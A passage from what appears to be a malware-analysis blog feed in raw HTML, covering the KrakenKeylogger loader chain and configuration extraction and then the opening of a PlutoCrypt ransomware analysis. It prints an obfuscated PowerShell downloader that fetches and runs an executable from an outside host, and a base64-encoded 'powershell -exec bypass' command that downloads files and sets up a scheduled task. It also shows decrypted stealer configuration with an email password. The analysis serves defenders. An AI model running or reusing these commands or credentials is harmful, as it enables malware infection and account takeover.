</span><span class="kr">function</span><span class="w"> </span><span class="nf">laiLJMT</span><span class="p">(</span><span class="nv">$eh</span><span class="p">){</span><span class="w">
    </span><span class="nv">$LM</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="p">(</span><span class="n">QXUpF</span><span class="w"> </span><span class="p">@(</span><span class="mi">5027</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5065</span><span class="p">,</span><span class="mi">4995</span><span class="p">,</span><span class="mi">5036</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5047</span><span class="p">,</span><span class="mi">5016</span><span class="p">,</span><span class="mi">5057</span><span class="p">,</span><span class="mi">5054</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5059</span><span class="p">,</span><span class="mi">5065</span><span class="p">));</span><span class="w">
    </span><span class="p">[</span><span class="n">Net.ServicePointManager</span><span class="p">]::</span><span class="n">SecurityProtocol</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Net.SecurityProtocolType</span><span class="p">]::</span><span class="n">TLS12</span><span class="p">;</span><span class="w">
    </span><span class="nv">$i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$LM</span><span class="o">.</span><span class="nf">DownloadData</span><span class="p">(</span><span class="nv">$eh</span><span class="p">);</span><span class="w">
    </span><span class="kr">return</span><span class="w"> </span><span class="nv">$i</span><span class="w">
</span><span class="p">};</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">QXUpF</span><span class="p">(</span><span class="nv">$P</span><span class="p">){</span><span class="w">
    </span><span class="nv">$n</span><span class="o">=</span><span class="mi">4949</span><span class="p">;</span><span class="w">
    </span><span class="nv">$s</span><span class="o">=</span><span class="nv">$Null</span><span class="p">;</span><span class="w">
    </span><span class="kr">foreach</span><span class="p">(</span><span class="nv">$WK</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$P</span><span class="p">){</span><span class="w">
        </span><span class="nv">$s</span><span class="o">+=</span><span class="p">[</span><span class="n">char</span><span class="p">](</span><span class="nv">$WK</span><span class="o">-</span><span class="nv">$n</span><span class="p">)</span><span class="w">
    </span><span class="p">};</span><span class="w">
    </span><span class="kr">return</span><span class="w"> </span><span class="nv">$s</span><span class="w">
</span><span class="p">};</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">deaNPih</span><span class="p">(){</span><span class="w">
    </span><span class="nv">$AVYABiApT</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">APPDATA</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">'\'</span><span class="p">;</span><span class="w">
    </span><span class="nv">$XdOFJCmMx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">laiLJMT</span><span class="w"> </span><span class="p">(</span><span class="n">QXUpF</span><span class="w"> </span><span class="p">@(</span><span class="mi">5053</span><span class="p">,</span><span class="mi">5065</span><span class="p">,</span><span class="mi">5065</span><span class="p">,</span><span class="mi">5061</span><span class="p">,</span><span class="mi">5064</span><span class="p">,</span><span class="mi">5007</span><span class="p">,</span><span class="mi">4996</span><span class="p">,</span><span class="mi">4996</span><span class="p">,</span><span class="mi">5058</span><span class="p">,</span><span class="mi">5046</span><span class="p">,</span><span class="mi">5064</span><span class="p">,</span><span class="mi">5053</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5063</span><span class="p">,</span><span class="mi">5060</span><span class="p">,</span><span class="mi">5051</span><span class="p">,</span><span class="mi">5058</span><span class="p">,</span><span class="mi">5046</span><span class="p">,</span><span class="mi">5064</span><span class="p">,</span><span class="mi">5065</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5063</span><span class="p">,</span><span class="mi">5064</span><span class="p">,</span><span class="mi">4995</span><span class="p">,</span><span class="mi">5048</span><span class="p">,</span><span class="mi">5070</span><span class="p">,</span><span class="mi">5060</span><span class="p">,</span><span class="mi">5066</span><span class="p">,</span><span class="mi">4996</span><span class="p">,</span><span class="mi">5048</span><span class="p">,</span><span class="mi">5053</span><span class="p">,</span><span class="mi">5054</span><span class="p">,</span><span class="mi">5059</span><span class="p">,</span><span class="mi">4996</span><span class="p">,</span><span class="mi">5064</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">4998</span><span class="p">,</span><span class="mi">4995</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5069</span><span class="p">,</span><span class="mi">5050</span><span class="p">));</span><span class="w">
    </span><span class="nv">$qNfQDXYlR</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$AVYABiApT</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">'se1.exe'</span><span class="p">;</span><span class="w">
    </span><span class="n">WQgtWbWK</span><span class="w"> </span><span class="nv">$qNfQDXYlR</span><span class="w"> </span><span class="nv">$XdOFJCmMx</span><span class="p">;</span><span class="w">
    </span><span class="n">APcZNMgjQ</span><span class="w"> </span><span class="nv">$qNfQDXYlR</span><span class="p">;;;;</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="n">deaNPih</span><span class="p">;</span><span class="w">
</span></code></pre></div></div>

<p>The script has several obfuscated strings that are being deobfuscated using the function <code class="language-plaintext highlighter-rouge">QXUpF</code> by simply going over each number and substracting <code class="language-plaintext highlighter-rouge">4949</code> from it. here is a quick script that will deobfuscate those strings and print the clear strings:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">stringsList</span> <span class="o">=</span> <span class="p">[[</span><span class="mi">4995</span><span class="p">,</span><span class="mi">5049</span><span class="p">,</span><span class="mi">5057</span><span class="p">,</span><span class="mi">5057</span><span class="p">],[</span><span class="mi">5063</span><span class="p">,</span><span class="mi">5066</span><span class="p">,</span><span class="mi">5059</span><span class="p">,</span><span class="mi">5049</span><span class="p">,</span><span class="mi">5057</span><span class="p">,</span><span class="mi">5057</span><span class="p">,</span><span class="mi">5000</span><span class="p">,</span><span class="mi">4999</span><span class="p">,</span><span class="mi">4995</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5069</span><span class="p">,</span><span class="mi">5050</span><span class="p">],[</span><span class="mi">5027</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5065</span><span class="p">,</span><span class="mi">4995</span><span class="p">,</span><span class="mi">5036</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5047</span><span class="p">,</span><span class="mi">5016</span><span class="p">,</span><span class="mi">5057</span><span class="p">,</span><span class="mi">5054</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5059</span><span class="p">,</span><span class="mi">5065</span><span class="p">],[</span><span class="mi">5053</span><span class="p">,</span><span class="mi">5065</span><span class="p">,</span><span class="mi">5065</span><span class="p">,</span><span class="mi">5061</span><span class="p">,</span><span class="mi">5064</span><span class="p">,</span><span class="mi">5007</span><span class="p">,</span><span class="mi">4996</span><span class="p">,</span><span class="mi">4996</span><span class="p">,</span><span class="mi">5058</span><span class="p">,</span><span class="mi">5046</span><span class="p">,</span><span class="mi">5064</span><span class="p">,</span><span class="mi">5053</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5063</span><span class="p">,</span><span class="mi">5060</span><span class="p">,</span><span class="mi">5051</span><span class="p">,</span><span class="mi">5058</span><span class="p">,</span><span class="mi">5046</span><span class="p">,</span><span class="mi">5064</span><span class="p">,</span><span class="mi">5065</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5063</span><span class="p">,</span><span class="mi">5064</span><span class="p">,</span><span class="mi">4995</span><span class="p">,</span><span class="mi">5048</span><span class="p">,</span><span class="mi">5070</span><span class="p">,</span><span class="mi">5060</span><span class="p">,</span><span class="mi">5066</span><span class="p">,</span><span class="mi">4996</span><span class="p">,</span><span class="mi">5048</span><span class="p">,</span><span class="mi">5053</span><span class="p">,</span><span class="mi">5054</span><span class="p">,</span><span class="mi">5059</span><span class="p">,</span><span class="mi">4996</span><span class="p">,</span><span class="mi">5064</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">4998</span><span class="p">,</span><span class="mi">4995</span><span class="p">,</span><span class="mi">5050</span><span class="p">,</span><span class="mi">5069</span><span class="p">,</span><span class="mi">5050</span><span class="p">]]</span>

<span class="k">for</span> <span class="n">string</span> <span class="ow">in</span> <span class="n">stringsList</span><span class="p">:</span>
    <span class="n">tmp</span> <span class="o">=</span> <span class="s">''</span>
    <span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">string</span><span class="p">:</span>
        <span class="n">tmp</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">char</span> <span class="o">-</span> <span class="mi">4949</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'[+] - </span><span class="si">{</span><span class="n">tmp</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] - .dll
[+] - rundll32.exe
[+] - Net.WebClient
[+] - https://masherofmasters.cyou/chin/se1.exe
</code></pre></div></div>

<p>The script will download another file from the same domain previously used for fetching the <code class="language-plaintext highlighter-rouge">.hta</code> file in the previous powershell script.</p>
<h1 id="net-loader">.NET Loader</h1>
<h2 id="stage-1">Stage 1</h2>
<p>the fetched executable (<code class="language-plaintext highlighter-rouge">se1.exe</code>) is a .NET executable:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/4.png" alt="image.png" /></p>

<p>the loader will decrypt embedded resource <code class="language-plaintext highlighter-rouge">DataBasePracticalJob</code> using the encryption algorithim <code class="language-plaintext highlighter-rouge">RC2</code>, the key for the encryption will be the MD5 hash value of the hardcoded string <code class="language-plaintext highlighter-rouge">QEssDJZhQnLywDnJGpBEr</code> (The interesting part here is that the hashing applied on the string after encoding it with <code class="language-plaintext highlighter-rouge">BigEndianUnicode</code>, <code class="language-plaintext highlighter-rouge">0x00</code> appends as a suffix to each byte.) Here is a diagram of the decryption process:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/5.png" alt="image-2.png" /></p>

<p>you can use this <a href="https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Fork('%20','%5C%5Cn',false)Find_/_Replace(%7B'option':'Regex','string':'%5E'%7D,'00%20',true,false,true,false)Merge(true)Remove_whitespace(true,false,true,false,false,false)From_Hex('Auto')MD5()&amp;input=UUVzc0RKWmhRbkx5d0RuSkdwQkVy">CyberChef Recipe</a> in order to calculate the MD5 hash easily. 
Then using RC2 decryption in CyberChef we can also fetch the 2nd stage:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/6.png" alt="image-3.png" /></p>

<h2 id="stage-2">Stage 2</h2>
<p>The second stage is a .NET DLL which will be invoked by the first stage executable.<br />
The DLL will be invoke on its first public exported method which is <code class="language-plaintext highlighter-rouge">syncfusion</code>:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/7.png" alt="image-4.png" /></p>

<p>The second strange DLL will have 2 embedded resources that will be decrypted, the first embedded resource <code class="language-plaintext highlighter-rouge">SeaCyanPul</code> will be a <code class="language-plaintext highlighter-rouge">.DLL</code> that will be in charge of injecting the final payload to <code class="language-plaintext highlighter-rouge">RegAsm.exe</code> (won’t be getting into it right now but the 3rd stage will be uploaded to Malware Bazaar)<br />
The second resource <code class="language-plaintext highlighter-rouge">UnknownDetails</code> will be our final payload which will be decrypted using a simple <code class="language-plaintext highlighter-rouge">AES-ECB</code> encryption routine without IV, the key in this case will be a sha256 of null value:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/8.png" alt="image-5.png" /></p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/9.png" alt="image-6.png" /></p>

<p>As I wrote before that, the payload will injected to <code class="language-plaintext highlighter-rouge">RegAsm.exe</code></p>

<h1 id="kraken-payload">Kraken Payload</h1>
<p>The Kraken payload <code class="language-plaintext highlighter-rouge">32-bit .NET</code> binary, so we can work with <code class="language-plaintext highlighter-rouge">DnSpy</code> to go over some of it functionalities.</p>

<h2 id="kraken-configs">Kraken Configs</h2>
<p>The configs of the Kraken stored in the <code class="language-plaintext highlighter-rouge">.cctor</code> of the main class:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/10.png" alt="image.png" /></p>

<p>Some of the configs are encrypted using <code class="language-plaintext highlighter-rouge">DES-EBC</code> encryption routine without IV, the key is <code class="language-plaintext highlighter-rouge">MD5</code> hash of a preconfigured string, in this case: <code class="language-plaintext highlighter-rouge">swCpiTiAhkkEpyDZTnAGhOBZpr</code>, here is a quick python script that will decrypt the config strings for us:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">malduck</span><span class="p">,</span> <span class="n">base64</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">DES</span>
<span class="n">encryptedStringsDict</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">'PersonalEmail'</span><span class="p">:</span> <span class="s">'KYlYJirrzmj9NFMzqVxdqqmBPWvogKC9'</span><span class="p">,</span>
    <span class="s">'PersonalEmailPassword'</span><span class="p">:</span> <span class="s">'lNI13bp6TxER2sT4YYxfjw=='</span><span class="p">,</span>
    <span class="s">'PersonalEmailHost'</span><span class="p">:</span> <span class="s">'6pvSg6TWhxedDZq2k3/l06fwica30Jlg'</span><span class="p">,</span>
    <span class="s">'TheSMTPReciver'</span><span class="p">:</span> <span class="s">'qUQWGy6wVRm4PKDty97tnE+Z3alydqyP'</span><span class="p">,</span>
    <span class="s">'PersonalEmailPort'</span><span class="p">:</span> <span class="s">'VqONpyzLqFY='</span><span class="p">,</span>
    <span class="s">'PersonalHostLink'</span><span class="p">:</span> <span class="s">'EdrE+GGMX48='</span><span class="p">,</span>
    <span class="s">'PersonalHostPassword'</span><span class="p">:</span> <span class="s">'EdrE+GGMX48='</span><span class="p">,</span>
    <span class="s">'PersonalHostUsername'</span><span class="p">:</span> <span class="s">'EdrE+GGMX48='</span><span class="p">,</span>
    <span class="s">'TheTelegramToken'</span><span class="p">:</span> <span class="s">'EdrE+GGMX48='</span><span class="p">,</span>
    <span class="s">'PersonalTeleID'</span><span class="p">:</span> <span class="s">'EdrE+GGMX48='</span>
<span class="p">}</span>

<span class="n">md5hashKey</span> <span class="o">=</span> <span class="n">malduck</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span><span class="sa">b</span><span class="s">'swCpiTiAhkkEpyDZTnAGhOBZpr'</span><span class="p">)[:</span><span class="mi">8</span><span class="p">]</span>
<span class="k">for</span> <span class="n">k</span><span class="p">,</span><span class="n">v</span> <span class="ow">in</span> <span class="n">encryptedStringsDict</span><span class="p">.</span><span class="n">items</span><span class="p">():</span>
    <span class="n">des</span> <span class="o">=</span> <span class="n">DES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">md5hashKey</span><span class="p">,</span> <span class="n">DES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
    <span class="n">decVal</span> <span class="o">=</span> <span class="n">des</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">v</span><span class="p">))</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'[+] </span><span class="si">{</span><span class="n">k</span><span class="si">}</span><span class="s"> - </span><span class="si">{</span><span class="n">decVal</span><span class="p">.</span><span class="n">decode</span><span class="p">()</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] PersonalEmail - onuma.b@thereccorp.com
[+] PersonalEmailPassword - O@1234
[+] PersonalEmailHost - mail.thereccorp.com
[+] TheSMTPReciver - jbs.hannong@gmail.com
[+] PersonalEmailPort - 587
[+] PersonalHostLink 
[+] PersonalHostPassword 
[+] PersonalHostUsername 
[+] TheTelegramToken 
[+] PersonalTeleID 
</code></pre></div></div>

<p>So now we have the configuration of the Kraken, let’s move to some capabilities overview:</p>
<h2 id="custom-commands">Custom Commands</h2>
<p>The Kraken has several functions that can be executed (only if the user of the malware flag them during the compilation process of the stub), such as:</p>
<ul>
  <li>TimeToRun</li>
  <li>LoadWeb</li>
  <li>Disable_Task</li>
  <li>Disable_CommandPrompt</li>
  <li>Disable_Regis</li>
  <li>ProcessKiller</li>
</ul>

<p><img src="/assets/images/Kraken-Keylogger-pt1/11.png" alt="image.png" /></p>

<p>Nothing really interesting here, probably some persistence methods/VM checks.</p>

<h2 id="harvesting-capabilities">Harvesting Capabilities</h2>
<p>The kraken follows the usual info stealer path as stealing local Outlook, Foxmail, ThunderBird mails credentials. <br /></p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/12.png" alt="image-2.png" /></p>

<p>It will lookup for credentials in those browsers:</p>
<ul>
  <li>Google Chrome</li>
  <li>QQ Browser</li>
  <li>Vivaldi Browser</li>
  <li>Chromium Browser</li>
  <li>Cent Browser</li>
  <li>Chedot Browser</li>
  <li>360Browser</li>
  <li>Brave</li>
  <li>Torch</li>
  <li>UC Browser</li>
  <li>Blisk</li>
  <li>Opera</li>
  <li>Avast Browser</li>
  <li>Edge</li>
  <li>Google Chrome Canary</li>
  <li>Firefox</li>
  <li>CocCoc</li>
  <li>Citrio Browser</li>
  <li>CoolNovo</li>
  <li>Epic Privacy Browser</li>
</ul>

<p>The Kraken will also look for FileZilla Credentials</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/13.png" alt="image-3.png" /></p>

<h2 id="exfiltration">Exfiltration</h2>
<p>The Kraken allows exfiltration via:</p>
<ul>
  <li>FTP</li>
  <li>SMTP</li>
  <li>Telegram Bot</li>
</ul>

<h3 id="ftp">FTP</h3>

<p><img src="/assets/images/Kraken-Keylogger-pt1/14.png" alt="image-4.png" /></p>

<h3 id="smtp">SMTP</h3>

<p><img src="/assets/images/Kraken-Keylogger-pt1/15.png" alt="image-5.png" /></p>

<h3 id="telegram-bot">Telegram Bot</h3>

<p><img src="/assets/images/Kraken-Keylogger-pt1/16.png" alt="image-6.png" /></p>

<h2 id="post-exfiltration-actions">Post Exfiltration Actions</h2>

<p>After the stealing process was done, the Kraken will automatically start a keylogging process + screenshot capturing of the victim’s computer:</p>

<p><img src="/assets/images/Kraken-Keylogger-pt1/17.png" alt="image-7.png" /></p>

<h1 id="iocs">IOC’s</h1>
<ul>
  <li>Doc signed Subcontract Agreement.zip - <a href="https://bazaar.abuse.ch/sample/79571f0ad832a31a1121f7c698496de7e4700271ccf0a7ed7fe817688528a953/">79571f0ad832a31a1121f7c698496de7e4700271ccf0a7ed7fe817688528a953</a></li>
  <li>seedof.lnk - <a href="https://bazaar.abuse.ch/sample/beec3ec08fba224c161464ebcc64727912c6678dd452596440809ce99c8390fd/">beec3ec08fba224c161464ebcc64727912c6678dd452596440809ce99c8390fd</a></li>
  <li>1st.exe - <a href="https://bazaar.abuse.ch/sample/dddaf7dfb95c12acaae7de2673becf94fb9cfa7c2d83413db1ab52a5d9108b79">dddaf7dfb95c12acaae7de2673becf94fb9cfa7c2d83413db1ab52a5d9108b79</a></li>
  <li>2nd.dll - <a href="https://bazaar.abuse.ch/sample/f7c66ce4c357c3a7c44dda121f8bb6a62bb3e0bc6f481619b7b5ad83855d628b/">f7c66ce4c357c3a7c44dda121f8bb6a62bb3e0bc6f481619b7b5ad83855d628b</a></li>
  <li>3rd.dll - <a href="https://bazaar.abuse.ch/sample/43e79df88e86f344180041d4a4c9381cc69a8ddb46315afd5c4c3ad9e6268e17/">43e79df88e86f344180041d4a4c9381cc69a8ddb46315afd5c4c3ad9e6268e17</a></li>
  <li>Kraken.exe - <a href="https://bazaar.abuse.ch/sample/ee76fec4bc7ec334cc6323ad156ea961e27b75eaa7efb4e88212b81e65673000/">ee76fec4bc7ec334cc6323ad156ea961e27b75eaa7efb4e88212b81e65673000</a></li>
</ul>

<h1 id="summary">Summary</h1>
<p>In this blog I’ve covered a new .NET based stealer/keylogger malware, the way it was used in a phishing campaign, and a dive into the loader/injection process including overview of the malware capabilities and config extraction.</p>

<h1 id="part-2">Part 2</h1>
<p>In part 2 I will be explaining my Threat hunting process, why the malware being flagged falsely? and how I managed to find more samples that helped me confirm my findings.
<br /><br />
Part 2 is up! check it out <a href="https://0xtoxin.github.io/threat%20hunting/KrakenKeylogger-pt2/">right here</a></p>]]></content><author><name>0x1john</name></author><category term="Malware Analysis" /><category term="KrakenKeylogger" /><category term="PowerShell" /><category term=".NET" /><category term="Config Extraction" /><summary type="html"><![CDATA[Part 1 of analyzing the KrakenKeylogger Malware]]></summary></entry><entry><title type="html">PlutoCrypt - A CryptoJoker Ransomware Variant</title><link href="https://0x1john.github.io/threat%20breakdown/PlutoCrypt-DeepDive/" rel="alternate" type="text/html" title="PlutoCrypt - A CryptoJoker Ransomware Variant" /><published>2023-04-14T00:00:00+00:00</published><updated>2023-04-14T00:00:00+00:00</updated><id>https://0x1john.github.io/threat%20breakdown/PlutoCrypt-DeepDive</id><content type="html" xml:base="https://0x1john.github.io/threat%20breakdown/PlutoCrypt-DeepDive/"><![CDATA[<h1 id="intro">Intro</h1>
<p>In This blog I will deep dive into a variant of CryptoJoker Ransomware alongside with analyzing the multi stage execution chain. BRACE YOURSELVES!</p>

<h1 id="the-phish">The Phish</h1>
<p>Our story begins with a spear phishing email, targeting Turkish individuals and organizations. These attacks often begin with an email that appears to be legitimate, but in reality, is designed to manipulate the recipient into divulging sensitive information or downloading malicious software.</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/1.png" alt="image.png" /></p>

<p><strong>Translation:</strong></p>
<blockquote>
  <p>Greetings, good day, Aysu from Vakifbank IT service, our iot system is constantly receiving unauthorized verification requests from this “XXX@XXX.XXX” email address, so we needed to contact you. We don’t want to start a legal process, can you please <strong>check</strong> the logs here and confirm whether they belong to you. ?</p>
</blockquote>

<p>In this particular instance, the attacker has embedded a link in the content of the email, which purports to be from Aysu at Vakifbank IT service. The email claims that the bank’s IT system has detected unauthorized verification requests from the recipient’s email address and requests confirmation from the victim.</p>

<h1 id="execution-chain">Execution Chain</h1>
<p>Below you can see a diagram that ddemonstrate the execution flow from the moment that the mail was opened:</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/2.png" alt="image.png" /></p>

<p>As you can see the execution chain here is first of all very interesting and secondly contains a lot of steps! I will break down each and every step from the initial payload through the whole files download/execute flow and up until we reach the final payload.</p>

<h1 id="initial-payload">Initial Payload</h1>
<h2 id="hta-handle">HTA Handle</h2>
<p>I will start with the compressed .hta file.<br />
I’ve opened the file in text editor to see whether the code of the HTA is clear or not and found obfuscated JS code:</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/3.png" alt="image.png" /></p>

<p>Deobfuscating it statically will take years, so instead of it I will convert it to html and save only the script content and open it locally in a browser. <br />
Navigating through the code, the most interesting part was by the end of the script (as I was expecting):</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/4.png" alt="image.png" /></p>

<ul>
  <li><strong>oL2J</strong> - will be an object with the type of <code class="language-plaintext highlighter-rouge">wobj</code></li>
  <li><strong>ficzs</strong> - will contain the data stored in <code class="language-plaintext highlighter-rouge">str4</code></li>
  <li><code class="language-plaintext highlighter-rouge">oL2J</code> will execute <code class="language-plaintext highlighter-rouge">ficzs</code></li>
</ul>

<p>I’ve set a breakpoint on the line of <code class="language-plaintext highlighter-rouge">oL2J</code> declaration and restarted the page, now we can have a look at the Global variables scope and see what both <code class="language-plaintext highlighter-rouge">wobj</code> and <code class="language-plaintext highlighter-rouge">str4</code> have inside of them:</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/5.png" alt="image.png" /></p>

<p><code class="language-plaintext highlighter-rouge">oL2J</code> will be a <code class="language-plaintext highlighter-rouge">Wscript.Shell</code> object that will run encoded PowerShell script.</p>

<h2 id="embedded-powershell-execution">Embedded PowerShell Execution</h2>
<p>Extracted PowerShell Script:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd /C powershell <span class="nt">-exec</span> bypass <span class="nt">-enc</span> YwBtAGQAIAAvAEMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAHgAZQBjACAAYgB5AHAAYQBzAHMAIAAtAGMAIABjAGQAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQA7ACAAYwBkACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAOwAgAGkAbgB2AG8AawBlAC0AdwBlAGIAcgBlAHEAdQBlAHMAdAAgAC0AdQByAGkAIAAnAGgAdAB0AHAAOgAvAC8AaABvAHMAdABkAG8AbgBlAC4AZABkAG4AcwAuAG4AZQB0AC8AeAAxAC4AeABtAGwAJwAgAC0AbwB1AHQAZgBpAGwAZQAgACcAeAAuAHgAbQBsACcAOwAgAGkAbgB2AG8AawBlAC0AdwBlAGIAcgBlAHEAdQBlAHMAdAAgAC0AdQByAGkAIAAnAGgAdAB0AHAAOgAvAC8AaABvAHMAdABkAG8AbgBlAC4AZABkAG4AcwAuAG4AZQB0AC8AdABhAHMAawAuAHgAbQBsACcAIAAtAG8AdQB0AGYAaQBsAGUAIAAnAHQAYQBzAGsALgB4AG0AbAAnADsAIABpAG4AdgBvAGsAZQAtAHcAZQBiAHIAZQBxAHUAZQBzAHQAIAAtAHUAcgBpACAAJwBoAHQAdABwADoALwAvAGgAbwBzAHQAZABvAG4AZQAuAGQAZABuAHMALgBuAGUAdAAvAHQALgBwAGQAJwAgAC0AbwB1AHQAZgBpAGwAZQAgACcAaQBvAHQAbABvAGcALgBwAGQAZgAnADsAIABzAGMAaAB0AGEAcwBrAHMALgBlAHgAZQAgAC8AQwByAGUAYQB0AGUAIAAvAFgATQBMACAAJwB0AGEAcwBrAC4AeABtAGwAJwAgAC8AdABuACAAJwB0AGEAcwBrAG4AYQBtAGUAJwA7ACAAcwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgACcAaQBvAHQAbABvAGcALgBwAGQAZgAnADsAIABzAGMAaAB0AGEAcwBrAHMAIAAvAHIAdQBuACAALwB0AG4AIAAnAHQAYQBzAGsAbgBhAG0AZQAnADsA
</code></pre></div></div>

<p>Let’s deobfuscate it quickly:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span>

<span class="n">ENCODED_POWERSHELL</span> <span class="o">=</span> <span class="s">'YwBtAGQAIAAvAEMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAHgAZQBjACAAYgB5AHAAYQBzAHMAIAAtAGMAIABjAGQAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQA7ACAAYwBkACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAOwAgAGkAbgB2AG8AawBlAC0AdwBlAGIAcgBlAHEAdQBlAHMAdAAgAC0AdQByAGkAIAAnAGgAdAB0AHAAOgAvAC8AaABvAHMAdABkAG8AbgBlAC4AZABkAG4AcwAuAG4AZQB0AC8AeAAxAC4AeABtAGwAJwAgAC0AbwB1AHQAZgBpAGwAZQAgACcAeAAuAHgAbQBsACcAOwAgAGkAbgB2AG8AawBlAC0AdwBlAGIAcgBlAHEAdQBlAHMAdAAgAC0AdQByAGkAIAAnAGgAdAB0AHAAOgAvAC8AaABvAHMAdABkAG8AbgBlAC4AZABkAG4AcwAuAG4AZQB0AC8AdABhAHMAawAuAHgAbQBsACcAIAAtAG8AdQB0AGYAaQBsAGUAIAAnAHQAYQBzAGsALgB4AG0AbAAnADsAIABpAG4AdgBvAGsAZQAtAHcAZQBiAHIAZQBxAHUAZQBzAHQAIAAtAHUAcgBpACAAJwBoAHQAdABwADoALwAvAGgAbwBzAHQAZABvAG4AZQAuAGQAZABuAHMALgBuAGUAdAAvAHQALgBwAGQAJwAgAC0AbwB1AHQAZgBpAGwAZQAgACcAaQBvAHQAbABvAGcALgBwAGQAZgAnADsAIABzAGMAaAB0AGEAcwBrAHMALgBlAHgAZQAgAC8AQwByAGUAYQB0AGUAIAAvAFgATQBMACAAJwB0AGEAcwBrAC4AeABtAGwAJwAgAC8AdABuACAAJwB0AGEAcwBrAG4AYQBtAGUAJwA7ACAAcwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgACcAaQBvAHQAbABvAGcALgBwAGQAZgAnADsAIABzAGMAaAB0AGEAcwBrAHMAIAAvAHIAdQBuACAALwB0AG4AIAAnAHQAYQBzAGsAbgBhAG0AZQAnADsA'</span>

<span class="k">print</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">ENCODED_POWERSHELL</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">,</span><span class="sa">b</span><span class="s">''</span><span class="p">).</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div></div>

